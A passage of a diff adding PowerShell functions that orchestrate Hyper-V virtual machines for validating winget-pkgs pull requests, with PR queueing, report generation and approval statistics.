{Write-FunctionTrace "Get-TrackerVMResetStatus Start"}; + $VMs = (Get-Status -Status Ready -RAM 0).VM + $VMs += (Get-Status -Status Ready -PackageIdentifier $Enum.Char.Blank).VM + Foreach ($VM in $VMs) { + Get-TrackerVMSetStatus Complete $VM + } + if (!(Get-ConnectedVM)){ + Get-Process *vmwp* | Stop-Process + } +} + +Function Get-TrackerVMRebuildStatus { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMRebuildStatus Start"}; + $Status = Get-VM | + Where-Object {$_.name -notmatch "vm0"} | + Where-Object {$_.name -notmatch $Enum.VMOS.Win10} | + Where-Object {$_.name -notmatch $Enum.VMOS.Win11} | + Select-Object @{n =$Enum.Strings.Vm; e = {$_.name -replace $Enum.Strings.Vm,$null}}, + @{n = $Enum.Columns.Status; e = {$Enum.VMStatus.Ready}}, + @{n = $Enum.Columns.version; e = {(Get-TrackerVMVersion -OS $Enum.VMOS.Win11)}}, + @{n = $Enum.Columns.OS; e = {$Enum.VMOS.Win11}}, + @{n = $Enum.Columns.Package; e = {$Enum.Char.Blank}}, + @{n = $Enum.Columns.PR; e = {"1"}}, + @{n = $Enum.Columns.Mode; e = {$Enum.VmModes.Unknown}}, + @{n = $Enum.Columns.RAM; e = {"0"}} + Write-Status $Status +} + +Function Get-TrackerVMProcess { + Param( + [int]$VM + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMRebuildStatus $VM"}; + return (Get-process *vmwp* -IncludeUserName) | where {($_.username -replace "NT VIRTUAL MACHINE\\",$Enum.Char.Blank) -match (Get-VM ("vm$VM")).vmid} +} + +#VM Versioning +Function Get-TrackerVMVersion { + Param( + [ValidateScript( { $_ -in $Enum.VMOS.Win11 } )][string]$OS = $Enum.VMOS.Win11, + [int]$VM = ((Get-Content $VMversion | ConvertFrom-Csv | Where-Object {$_.OS -eq $OS}).version) + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMVersion $OS"}; + Return $VM +} + +Function Get-TrackerVMSetVersion { + Param( + [int]$Version, + [ValidateScript( { $_ -in $Enum.VMOS.Win11 } )][string]$OS = $Enum.VMOS.Win11, + $Versions = (Get-Content $VMversion | ConvertFrom-Csv) + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMVersion $Version"}; + ($Versions | Where-Object {$_.OS -eq $OS}).Version = $Version + $Versions | ConvertTo-Csv|Out-File $VMversion +} + +Function Get-TrackerVMRotate { + Param( + $status = (Get-Status), + $OS = $Enum.VMOS.Win11, + $VMs = ($status | Where-Object {$_.version -lt (Get-TrackerVMVersion -OS $OS)} | Where-Object {$_.OS -eq $OS}) + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMVersion $OS"}; + if ($VMs){ + if (!(($status | Where-Object {$_.status -ne $Enum.VMStatus.Ready}).Count)) { + Get-TrackerVMSetStatus Regenerate ($VMs.VM | Get-Random) + } + } +} + +#VM Orchestration +Function Get-TrackerVMCycle { + Param( + $VMs = (Get-Status) + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMCycle $VMs"}; + Foreach ($VM in $VMs) { + $VMNum = $Enum.Strings.Vm + $VM.vm + Switch ($VM.status) { + $Enum.VMStatus.AddVCRedist { + Add-ToValidationFile $VM.vm + Suspend-VM -Name $VMNum + } + $Enum.VMStatus.Approved { + Suspend-VM -Name $VMNum + $PRLabels = ((Invoke-GitHubPRRequest -PR $VM.PR -Type $Enum.prRequestTypes.Labels -Output $Enum.PRRequestOutput.Content -JSON).name) -join $Enum.Char.Space + if ($PRLabels -match $Enum.PRLabels.VC) { + Approve-PR -PR $VM.PR + } else { + Get-CompletePR -PR $VM.PR + } + Get-TrackerVMSetStatus $Enum.VMStatus.Complete $VM.vm + } + $Enum.VMStatus.CheckpointReady { + Redo-Checkpoint $VM.vm + } + $Enum.VMStatus.Complete { + Suspend-VM -Name $VMNum -ErrorAction SilentlyContinue + if (($VMs | Where-Object {$_.vm -eq $VM.vm} ).version -lt (Get-TrackerVMVersion -OS $VM.os)) { + Get-TrackerVMSetStatus $Enum.VMStatus.Regenerate $VM.vm + } else { + Complete-TrackerVM $VM.vm + } + } + $Enum.VMStatus.Disgenerate { + Suspend-VM -Name $VMNum + Get-PipelineVmDisgenerate $VM.vm + } + $Enum.VMStatus.DoesntRun { + Suspend-VM -Name $VMNum + Get-SendStatus -Status $Enum.VMStatus.Complete + } + $Enum.VMStatus.Feedback { + Suspend-VM -Name $VMNum + Get-AddPRLabel -PR $VM.PR -LabelName $Enum.PRLabels.NAF + Get-TrackerVMSetStatus $Enum.VMStatus.Complete $VM.vm + } + $Enum.VMStatus.Revert { + Suspend-VM -Name $VMNum + Get-TrackerVMRevert $VM.vm + } + $Enum.VMStatus.Regenerate { + Suspend-VM -Name $VMNum + Get-PipelineVmDisgenerate $VM.vm + Get-PipelineVmGenerate -OS $VM.os + } + $Enum.VMStatus.SendStatusApproved { + Suspend-VM -Name $VMNum + Get-SendStatus -Status $Enum.VMStatus.Approved + } + $Enum.VMStatus.SendStatusComplete { + Suspend-VM -Name $VMNum + Get-SendStatus -Status $Enum.VMStatus.Complete + } + $Enum.VMStatus.SendStatusFeedback { + Suspend-VM -Name $VMNum + Get-SendStatus -Status $Enum.VMStatus.Feedback + } + $Enum.VMStatus.SendStatus { + Suspend-VM -Name $VMNum + Get-SendStatus -Status $Enum.VMStatus.Complete + } + default { + } + }; #end switch + } +} + +Function Get-TrackerVMMode { + Param( + $Mode = (Get-Content $TrackerModeFile) + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMMode $Mode"}; + Return $Mode +} + +Function Get-TrackerVMSetMode { + Param( + [ValidateScript( { $_ -in (Get-Keys $Enum.TrackerModes) } )][string]$Mode = $Enum.TrackerModes.Validating + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMSetMode $Mode"}; + Return $Mode | Out-File $TrackerModeFile -NoNewLine +} + +Function Get-ConnectedVM { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ConnectedVM Start"}; + Test-Admin + (Get-Process *vmconnect*) | Select-Object id, @{n = $Enum.Strings.Vm; e = {ForEach-Object{$_.mainwindowtitle[$Enum.Index.First..5] -join $Enum.Char.Blank}}} +} + +Function Get-NextFreeVM { + Param( + [ValidateScript( { $_ -in $Enum.VMOS.Win11 } )][string]$OS = $Enum.VMOS.Win11, + $Status = $Enum.VMStatus.Ready + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-NextFreeVM $OS"}; + Test-Admin + try { + $out_status = Get-Status + $out_status = $out_status | Where-Object {$_.OS -eq $OS} + $out_status = ($out_status | Where-Object {$_.version -eq (Get-TrackerVMVersion -OS $OS)} | Where-Object {$_.status -eq $Status}).vm + $out_status = $out_status |Get-Random -ErrorAction SilentlyContinue + return $out_status; + } catch { + Write-Host "No available $OS VMs" + return $Enum.Num.Zero + } +} + +Function Redo-Checkpoint { + Param( + [Parameter(mandatory = $True)][int]$VM, + $VMName = ("vm$VM") + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Redo-Checkpoint $VM"}; + Test-Admin + Get-TrackerVMSetStatus $Enum.VMStatus.Checkpointing $VM + Remove-VMCheckpoint -Name $CheckpointName -VMName $VMName + Checkpoint-VM -SnapshotName $CheckpointName -VMName $VMName + Get-TrackerVMSetStatus $Enum.VMStatus.Complete $VM +} + +Function Get-StopStuckVMs { + Param( + $VMsToStop = (Get-Status -Status Completing).VM + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-StopStuckVMs $VMsToStop"}; + if ($VMsToStop) { + $VMsToStop | %{Get-TrackerVMProcess $_ | Stop-Process -Force} + } +} + +Function Get-RandomIEDS {#Only used by IEDS mode. + Param( + [int]$VM = (Get-SchemaCheck -SchemaInfo $MVschemaData.VM.Number -InputData (Get-NextFreeVM)), + $IEDSPRs = (Get-SearchGitHub -Preset IEDS -nBMM), + [ValidateScript( { $_ -in $Enum.VMOS.Win11 } )][string]$OS = $Enum.VMOS.Win11, + [int]$PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData ($IEDSPRs.number | where {$_ -notin (Get-Status).pr} | Get-Random))#, + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-RandomIEDS $VM"}; + if ($VM -eq 0){ + Write-Host "No available $OS VMs"; + Get-PipelineVmGenerate -OS $OS; + Add-PRToQueue -PR $PR; + } else { + Get-CommitFile -PR $PR -VM $VM + } +} + +#VM Misc +Function Get-StaleVMCheck { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-StaleVMCheck Start"}; + if ((get-date) -gt $NextStaleCheck) { + $VMStatus = Get-Content $statusFile | convertfrom-csv + $CheckVMStatus = ($VMStatus | where {$_.status -ne $Enum.VMStatus.Ready} | where {$_.status -ne $Enum.VMStatus.LongRunning}) + Write-Output "$(Get-Date -Format $($Enum.Char.T)) Starting stale VM check with $($CheckVMStatus.Count) Results" + foreach ($VM in $CheckVMStatus) { + if ($VM.pr -ne 1) { + $VMNum = $VM.vm + $PRState = (Invoke-GitHubPRRequest -PR $VM.pr -Type $Enum.PRRequestTypes.Blank -Output Content).state; + $PRLabels = ((Invoke-GitHubPRRequest -PR $VM.pr -Type $Enum.PRRequestTypes.Labels -Output $Enum.PRRequestOutput.Content -JSON).name) + if ($null -ne $PRState) { + if (($PRState -ne $Enum.PRStates.Open) -OR + (($PRLabels -join $Enum.Char.Space) -match $Enum.PRLabels.CR)){ + Get-TrackerVMSetStatus -Status $Enum.VMStatus.Complete -VM $VMNum + Suspend-VM -Name "vm$VMNum" + } #end if PRState.state + } #end if null + } #end VM.pr + } #end foreach vm + Write-Output "$(Get-Date -Format $($Enum.Char.T)) Completing stale VM check with $($CheckVMStatus.Count) Results" + $NextStaleCheck = (Get-Date).AddMinutes(5) + } +} + +#VM Window Management +Function Get-TrackerVMWindowLoc { + Param( + $VM, + $Rectangle = (New-Object RECT), + $VMProcesses = (Get-Process vmconnect), + $MWHandle = ($VMProcesses | where {$_.MainWindowTitle -match ("vm$VM")}).MainWindowHandle + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMWindowLoc $VM"}; + [window]::GetWindowRect($MWHandle,[ref]$Rectangle) + Return $Rectangle +} + +Function Get-TrackerVMWindowSet { + Param( + $VM, + $Left, + $Top, + $Right, + $Bottom, + $VMProcesses = (Get-Process vmconnect), + $MWHandle = ($VMProcesses | where {$_.MainWindowTitle -match ("vm$VM")}).MainWindowHandle + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMWindowSet $VM"}; + $null = [window]::MoveWindow($MWHandle,$Left,$Top,$Right,$Bottom,$True) +} + +Function Get-TrackerVMWindowArrange { + Param( + $VMs = (Get-Status |where {$_.status -ne $Enum.VMStatus.Ready}|where {$_.status -ne $Enum.VMStatus.Unhealthy}).vm + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMWindowArrange $VMs"}; + If ($VMs) { + Get-TrackerVMWindowSet $VMs[$Enum.Index.First] $Enum.VMWinLoc.Left $Enum.VMWinLoc.Top $Enum.VMWinLoc.Bottom $Enum.VMWinLoc.Right + $Base = Get-TrackerVMWindowLoc $VMs[$Enum.Index.First] + + For ($n = $Enum.Index.Second; $n -lt $VMs.Count; $n++) { + $VM = $VMs[$n] + + $Left = ($Base.left - ($Enum.VMWinLoc.LeftAdj * $n)) + $Top = ($Base.top + ($Enum.VMWinLoc.TopAdj * $n)) + Get-TrackerVMWindowSet $VM $Left $Top $Enum.VMWinLoc.Bottom $Enum.VMWinLoc.Right + } + } +} + +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +################################# - Disk - ################################## +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +#File Management +Function Get-SendStatus { + Param( + [int]$PR, + [ValidateScript( { $_ -in (Get-Keys $Enum.VMStatus)} )][string]$Status = $Enum.VMStatus.Complete, + $SharedError = ((Get-Content $SharedErrorFile) -split $Enum.Char.LineBreak) + ) + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-SendStatus $PR"}; + + $SharedError = $SharedError -replace $Enum.Char.CarriageReturn,$Enum.Char.Blank + $SharedError = $SharedError -replace $Enum.SendStatusReplace.Caller1,$Enum.Char.Blank + $SharedError = $SharedError -replace $Enum.SendStatusReplace.Caller2,$Enum.Char.Blank + $SharedError = $SharedError -replace $Enum.SendStatusReplace.Exception1,$Enum.Char.Blank + $SharedError = $SharedError -replace $Enum.SendStatusReplace.Exception2,$Enum.Char.Blank + $SharedError = $SharedError -replace $Enum.SendStatusReplace.Exception4,$Enum.Char.Blank + $SharedError = $SharedError -replace $Enum.SendStatusReplace.Tid,$Enum.Char.Blank + $SharedError = $SharedError -replace $Enum.SendStatusReplace.LongFilepath,$Enum.Char.Blank + $SharedError = $SharedError -join $Enum.Char.LineBreakMDQuote + #$SharedError = Get-AutomatedErrorAnalysis $SharedError + if ((($SharedError -join $Enum.Char.Space) -match $Enum.StandardPRComments.SecurityCheck) -OR (($SharedError -join $Enum.Char.Space) -match $Enum.Strings.DetectedOneDefender)) { + Get-AddPRLabel -PR $PR -LabelName $Enum.PRLabels.VDE + } + Reply-ToPR -PR $VM.PR -UserInput $SharedError -CannedMessage $Enum.CannedMessages.ManValEnd + Get-TrackerVMSetStatus -Status $Status -VM $VM.vm +} + +Function Get-TrackerVMRotateLog { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMRotateLog Start"}; + $logYesterDate = (Get-Date -f dd) - 1 + Move-Item "$writeFolder\logs\$logYesterDate" "$logsFolder\$logYesterDate" +} + +Function Get-RemoveFileIfExist { + Param( + $FilePath, + [switch]$remake, + [switch]$Silent + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-RemoveFileIfExist $FilePath"}; + if (Test-Path $FilePath) {Remove-Item $FilePath -Recurse} + if ($Silent) { + if ($remake) {$null = New-Item -ItemType Directory -Path $FilePath} + } else { + if ($remake) {New-Item -ItemType Directory -Path $FilePath} + } + +} + +Function Get-LoadFileIfExists { + Param( + $FileName, + $FileContents, + [Switch]$Silent + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-LoadFileIfExists $FileName"}; + if (Test-Path $FileName) { + $FileContents = Get-Content $FileName | ConvertFrom-Csv + if (!($Silent)) { + Write-Host "Loaded $($FileContents.Count) entries from $FileName." -f green + Return $FileContents + } + } else { + if (!($Silent)) { + Write-Host "File $FileName not found!" -f red + } + } +} + +Function Get-ManifestEntryCheck { + Param( + $PackageIdentifier, + $Version, + $Entry = $Enum.ManifestKeys.DisplayVersion + ) + $PackageIdentifier = (Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ManifestEntryCheck $PackageIdentifier"}; + $content = Get-FileFromGitHub $PackageIdentifier $Version + $out = ($content | Where-Object {$_ -match $Entry}) + if ($out) {$True} else {$False} +} + +#PR Queue +Function Add-PRToQueue { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + $PRExclude = ((Get-Content $PRExcludeFile) -split $Enum.Char.LineBreak) + ) + process { + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Add-PRToQueue $PR"}; + if ($PRExclude -notcontains $PR) { + $PR | Out-File $PRQueueFile -Append + } + } +} + +Function Get-PopPRQueue { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PopPRQueue"}; + [array]$PRQueue = Get-Content $PRQueueFile + $PRQueue = $PRQueue -split $Enum.Char.LineBreak + $PRQueue = Get-Diff $PRQueue (Get-Status).PR + $out = Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PRQueue[$Enum.Index.First] + $PRQueue = $PRQueue[$Enum.Index.Second..$PRQueue.Length] | Select-Object -unique + $PRQueue | Out-File $PRQueueFile + return $out +} + +Function Get-PRQueueCount { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRQueueCount"}; + $count = ((Get-Content $PRQueueFile) -split $Enum.Char.LineBreak).Count + return $count +} + +Function Get-CleanPRExcludeFile { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-CleanPRExcludeFile"}; + [int[]]$out = $null + [int[]]$PRsToCheck = Get-Content $PRExcludeFile + foreach ($PR in $PRsToCheck) { + [int]$PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + $PRData = Get-PRData $PR + if ($PRData){ + if ($PRData.state -eq $Enum.PRStates.Open){ + $out += $PR + } + } + } + Out-File -InputObject $out -FilePath $PRExcludeFile +} + +Function Get-CleanPRFolder { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-CleanPRFolder"}; + [array]$Images = ((Get-ChildItem $imagesFolder -Directory).name | where {$_ -notmatch $Enum.Strings.Win}) + $VMs = (Get-Status).vm + $VMs += 0 + $VMsToRemove = Get-Diff $Images $VMs + $VMsToRemove | %{Get-PipelineVmDisgenerate $_} +} + +#Reporting +Function Add-PRToRecord { + Param( + [int]$PR, + [ValidateScript( { $_ -in (Get-Keys $Enum.PRActions)} )][string[]]$Action, + $Title + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Add-PRToRecord $Action"}; + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + $Title = ($Title -split $Enum.Char.Hash)[$Enum.Index.First] + "$PR,$Action,$Title" | Out-File $LogFile -Append +} + +Function Get-PRPopulateRecord { + Param( + $Logs = (Get-Content $LogFile | ConvertFrom-Csv -Header ($Enum.PRRecordHeaders.PR,$Enum.PRRecordHeaders.Action,$Enum.PRRecordHeaders.Title)) + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRPopulateRecord $($Logs.count)"}; + Foreach ($Log in $Logs) { + #Populate the Title column where blank, so all lines with the same PR number also have the same title, preventing the API calls for the lookup. + $ThisPR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $_.PR) + $LogPR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $Log.PR) + $Log.title = ($Logs | Where-Object {$_.title} | Where-Object {$ThisPR -match $LogPR}).title | Sort-Object -Unique + } + $Logs | ConvertTo-Csv|Out-File $LogFile +} + +Function Get-PRFromRecord { + Param( + [ValidateScript( { $_ -in (Get-Keys $Enum.PRActions)} )][string]$Action + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRFromRecord $Action"}; + Get-PRPopulateRecord + (Get-Content $LogFile) | ConvertFrom-Csv -Header ($Enum.PRRecordHeaders.PR,$Enum.PRRecordHeaders.Action,$Enum.PRRecordHeaders.Title) | Where-Object {$_.Action -match $Action} +} + +Function Get-PRReportFromRecord { + Param( + [ValidateScript( { $_ -in (Get-Keys $Enum.PRActions)} )][string[]]$Action, + $out = $Enum.Char.Blank, + $line = 0, + $Record = ((Get-PRFromRecord $Action) | Sort-Object PR -Unique), + [switch]$NoClip + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRReportFromRecord $Action"}; + + $LogContents = (Get-Content $LogFile | ConvertFrom-Csv | Where-Object {$_.Action -notmatch $Action} | ConvertTo-Csv) + Out-File -FilePath $LogFile -InputObject $LogContents + #Get everything that doesn't match the action and put it back in the CSV. + + Foreach ($PR in $Record) { + $Title = $PR.Title + $PR = Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR.PR + if (!($Title)) { + $Title = (Invoke-GitHubPRRequest -PR $PR -Type $Enum.Char.Blank -Output $Enum.PRRequestOutput.Content -JSON).title + } + Get-TrackerProgress -Activity ("$($MyInvocation.MyCommand.name) $Action") -ItemName $PR -ItemNumber $line -TotalItems $Record.Length; $line++ + $out += "$Title #$PR`n"; + } + if ($NoClip) { + return $out + } else { + $out | clip + } + Write-Progress -Completed +} + +Function Get-PRFullReport { + Param( + $Month = (Get-Culture).DateTimeFormat.GetMonthName((Get-Date).Month), + $Today = (get-date -f MMddyy), + $ReportName = "$logsFolder\$Month\$Today-Report.txt", + $HeaderList = ($Enum.PRActions.Feedback,$Enum.PRActions.Blocking,$Enum.PRActions.Waiver,$Enum.PRActions.Retry,$Enum.PRActions.Manual,$Enum.PRActions.Closed,$Enum.PRActions.Project,$Enum.PRActions.Squash,$Enum.PRActions.Approved) + # $HeaderList = (Get-Keys $Enum.PRActions) + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRFullReport $Today"}; + Write-Host "Generating report for $Today" + md "$logsFolder\$Month\Stats\" -ErrorAction SilentlyContinue + Copy-Item -Path $LogFile -Destination "$logsFolder\$Month\Stats\$Today-Report.csv" + $null | Out-File $ReportName + $HeaderList | %{ + $_ | Out-File $ReportName -Append; + Get-PRReportFromRecord $_ -NoClip | Out-File $ReportName -Append + } + Write-Host "Report for $Today complete" +} + +Function Get-RepoCountReport { + Param( + $Date = (Get-Date -Format "s"), + $Count = (((Find-WinGetPackage $Enum.Char.Blank) | Measure-Object).Count) + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-RepoCountReport $Date"}; + $out = "`"$Date`", `"$Count`"" + Out-file -InputObject $out -FilePath $RepoCountFile -Append +} + +Function Get-RepoState { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-RepoState $Date"}; +"https://github.com/microsoft/winget-pkgs/pulls?page=1&q = repo%3Amicrosoft%2Fwinget-pkgs + is%3Apr + is%3Aopen + draft%3Afalse + sort%3Aupdated-asc + label%3ANew-Package" # NewPackages +"https://github.com/microsoft/winget-pkgs/issues?q = state%3Aopen%20label%3AInternal-Error-Dynamic-Scan%20sort%3Aupdated-asc&page=1" #IEDS +"https://github.com/microsoft/winget-pkgs/pulls?q = repo%3Amicrosoft%2Fwinget-pkgs + is%3Apr + is%3Aopen + draft%3Afalse + -label%3AProject-File + -label%3Ablocked-installertype + -label%3AAzure-Pipeline-Passed + -label%3AValidation-Completed + -label%3AModerator-Approved + -label%3ABlocking-Issue + -label%3AInternal-Error-Manifest + -label%3AValidation-Defender-Error + -label%3AChanges-Requested + -label%3ANeeds-CLA + -label%3ANo-Recent-Activity + -label%3ANeeds-Attention + -label%3ANeeds-Author-Feedback + -label%3ANeeds-Review + -label%3AValidation-Merge-Conflict + -label%3AUnexpected-File + -label%3ALast-Version-Remaining + sort%3Aupdated-asc+" #NoLabels +"https://github.com/microsoft/winget-pkgs/pulls?q = is%3Apr + is%3Aopen + sort%3Aupdated-asc + label%3AValidation-Installation-Error" #VIE + +$StartTotal = 710 +$NewPackages = 172 +$IEDS = 71 +$NoL = 115 +$VIE = 178 +$Remainder = $StartTotal - $NewPackages - $IEDS - $NoL - $vie + +"Label | Count | % +New | $NewPackages | $([math]::round( $NewPackages/ $StartTotal,2)*100)% +IEDS | $IEDS | $([math]::round( $IEDS/ $StartTotal,2)*100)% +No Labels | $NoL | $([math]::round( $NoL/ $StartTotal,2)*100)% +VIE | $VIE | $([math]::round( $VIE/ $StartTotal,2)*100)% +Remainder | $Remainder | $([math]::round( $Remainder/ $StartTotal,2)*100)% +Total | $StartTotal | $([math]::round( $StartTotal/ $StartTotal,2)*100)%" + +} + +Function Get-ApprovalStats { + Param( + [Parameter(ValueFromPipeline)][int]$Date = ((Get-Date).day) + # [Switch]$Debug + ) + Process { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ApprovalStats $Date"}; + # $ApprovalStats = Get-Content $ApprovalStatsFile | ConvertFrom-Csv + $ApprovalStats = Get-Content $ApprovalStatsFile | ConvertFrom-Csv | where {(get-date $_.DateTime).day -match $date} + $AverageArray = @() + for ($n = 0; $n -le $ApprovalStats.Length; $n++) { + $add = $Enum.Char.Blank | Select-Object @{n = $Enum.Char.X; e = {$ApprovalStats[$n].PRsApprovedDuringLastRun}},@{n = $Enum.Char.Y; e = {$ApprovalStats[$n].AvgSecPerPR}} + $AverageArray += $add + }; #end for n + $LinearRegression = Get-LinearRegression $AverageArray + if ($Debug) { Write-Host "LR.m: $($LinearRegression.m); LR.b: $($LinearRegression.b)"} + $SecondsPerMaxRun = $LinearRegression.m * 30 + $LinearRegression.b + if ($Debug) { Write-Host "SecondsPerMaxRun: $SecondsPerMaxRun"} + $secondsperday = 24*60*60 + $MaxPRsPerDay = $secondsperday/$SecondsPerMaxRun + if ($Debug) { Write-Host "MaxPRsPerDay: $MaxPRsPerDay"} + $count = (Get-YesterdayFormattedReport $Date | where {$_.action -eq "approved"}).Count; + $pct = $count / $MaxPRsPerDay * 100; + + $AvgPRsPerRun = ($ApprovalStats.PRsApprovedDuringLastRun | Measure-Object -Average).average + $AvgSecPerRun = ($ApprovalStats.LastRunTookSeconds | Measure-Object -Average).average + $AvgSecPerPR = $AvgSecPerRun / $AvgPRsPerRun + + # "DateTime","PRsApprovedDuringLastRun","LastRunTookSeconds","AvgSecPerPR","SleepUntil" + $out = $Enum.Char.Blank | Select-Object Date, MaxPRs, YesterdayPRs, Percent, AvgPRsPerRun, AvgSecPerRun, AvgSecPerPR + $out.Date = $Date + $out.MaxPRs = [math]::round($MaxPRsPerDay,$Enum.Num.Two) + $out.YesterdayPRs = $count + $out.Percent = [math]::round($Pct,$Enum.Num.Two) + $out.AvgPRsPerRun = [math]::round($AvgPRsPerRun,$Enum.Num.Two) + $out.AvgSecPerRun = [math]::round($AvgSecPerRun,$Enum.Num.Two) + $out.AvgSecPerPR = [math]::round($AvgSecPerPR,$Enum.Num.Two) + $out + } +} + +Function Get-RunDurationStats { + Param( + $Files, # = (Get-ChildItem $logsFolder -recurse -file -Filter "*.log") + [switch]$Debug + ) + $Return = @() + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-RunDurationStats Crunching $($Files.Count) log files..."}; + $ItemNumber = 0 + Foreach ($File in $Files) { + $out = $Enum.Char.Blank | Select-Object @{n = "DateTime"; e = {$SplitLog = ($File.FullName -split "\\"); + $year = $SplitLog[3]; $month = $SplitLog[4]; $Day = $SplitLog[5]; + $time = ((Get-Content $File)[$Enum.Index.Last] -split ": ")[$Enum.Index.First];Get-Date "$month/$day/$year $time"}}, @{n = "seconds"; e = {(((Get-Content $File)[$Enum.Index.Last] -split " in ")[$Enum.Index.Second] -split " seconds. ")[$Enum.Index.First]}} + $Return += $out + if ($Debug) { + Write-Host "Crunching file $($file.fullname)" + } else { + Get-TrackerProgress -Activity "Crunching log files..." -ItemName $file.fullname -ItemNumber $ItemNumber -TotalItems $Files.Count + $ItemNumber++ + } + } + + Return $Return +} + +Function Get-SuccessRates { + Param( + $LastMonth = (Get-Date (Get-Date).AddMonths(-1) -Format "MMMM") + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-SuccessRates $LastMonth"}; + $out = @() + $MonthList = (Get-ChildItem "$logsFolder\$LastMonth\" -Directory).fullname + Foreach ($DayList in $MonthList) { + $DayStats = (Get-ChildItem $DayList).fullname | %{ + $file = Get-Content $_; + (($file[($file | Select-String $Enum.Strings.ManualValidation).LineNumber[$Enum.Index.Last] - 1] -split ": ")[$Enum.Index.Second] -replace "= " -split $Enum.Char.Space)[$Enum.Index.Second] + } + $Group = $DayStats | Group-Object | Select-Object Name, Count + + $Day = ($DayList -split "\\")[$Enum.Index.Last] + $New = ($Group | where {$_.name -match $Enum.SuccessType.New}).count + $Success = ($Group | where {$_.name -match $Enum.SuccessType.Success}).count + $Fail = ($Group | where {$_.name -match $Enum.SuccessType.Fail}).count + [int]$TotalCount = ($Group |%{$_.count} | Measure-Object -sum).sum + $SuccessRate = ($New + $Success) / $TotalCount + + + $mid = $Enum.Char.Blank | Select-Object @{n="Day";e={$Day}}, @{n="New";e={$New}}, @{n="Success";e={$Success}}, @{n="Fail";e={$Fail}}, @{n="TotalCount";e={$TotalCount}}, @{n="SuccessRate";e={$SuccessRate}} + $out += $mid + Write-Host "SuccessRates $LastMonth \ $Day found: $($file.count)" + } + $Day = "Totals" + [int]$New = ($out.("New") | Measure-Object -sum).sum + [int]$Success = ($out.("Success") | 